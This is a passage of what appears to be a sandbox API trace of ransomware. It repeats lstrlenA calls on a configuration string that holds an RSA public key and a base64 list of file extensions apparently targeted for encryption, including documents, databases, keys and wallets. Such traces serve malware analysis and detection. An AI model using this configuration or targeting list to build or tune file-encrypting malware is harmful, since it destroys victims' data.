ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN